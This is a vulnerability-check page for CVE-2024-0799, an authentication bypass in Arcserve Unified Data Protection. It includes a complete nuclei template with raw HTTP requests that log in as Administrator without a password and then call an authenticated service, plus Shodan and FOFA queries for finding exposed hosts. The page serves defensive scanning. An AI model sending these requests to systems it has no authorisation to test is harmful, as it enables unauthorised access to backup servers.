Arcserve Unified Data Protection - Authentication Bypass

criticalseverity

9.8CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-webui.jar!com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin() function within wizardLogin.

Impact

Attackers can bypass authentication, gaining unauthorized access to the system.

Fix

Update to the latest version of Arcserve Unified Data Protection or apply security patches provided by the vendor.

How to confirm it

Send: POST /management/wizardLogin
Positive when: status_code == 302 and contains_all(set_cookie, 'EDGEJSESSIONID','notShowWizard')
Send: POST /management/centralmanagementui/service/configuration
Positive when: contains "//OK" or "//EX" AND status 200

Run it with nuclei: nuclei -id CVE-2024-0799 -u <target>

The full check

id: CVE-2024-0799

info:
  name: Arcserve Unified Data Protection - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-webui.jar!com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin() function within wizardLogin.
  impact: |
    Attackers can bypass authentication, gaining unauthorized access to the system.
  remediation: |
    Update to the latest version of Arcserve Unified Data Protection or apply security patches provided by the vendor.
  reference:
    - https://www.tenable.com/security/research/tra-2024-07
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0799
    cwe-id: CWE-287
    epss-score: 0.04342
    epss-percentile: 0.9129
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:1015186617
    fofa-query: icon_hash="1015186617"
  tags: cve,cve2024,arcserve,auth-bypass,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /management/wizardLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=Administrator

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains_all(set_cookie, 'EDGEJSESSIONID','notShowWizard')"
        condition: and
        internal: true

  - raw:
      - |
        POST /management/centralmanagementui/service/configuration HTTP/1.1
        Host: {{Hostname}}
        X-Gwt-Permutation: {{randstr}}
        X-GWT-Module-Base: {{RootURL}}/management/centralmanagementui/
        Content-Type: text/x-gwt-rpc; charset=UTF-8

        7|0|7|{{RootURL}}/management/centralmanagementui/|7EAFA18B9A4008517B99DCC53178335B|com.ca.arcserve.edge.app.base.ui.client.components.configuration.ConfigurationService|testDownloadServerConnnectionEdge|com.ca.arcflash.webservice.data.PM.AutoUpdateSettings/2684954155|com.ca.arcflash.webservice.data.PM.ProxySettings/566911631||1|2|3|4|1|5|5|0|3|1|0|0|6|7|0|0|7|80|7|0|1|0|

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "//OK"
          - "//EX"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from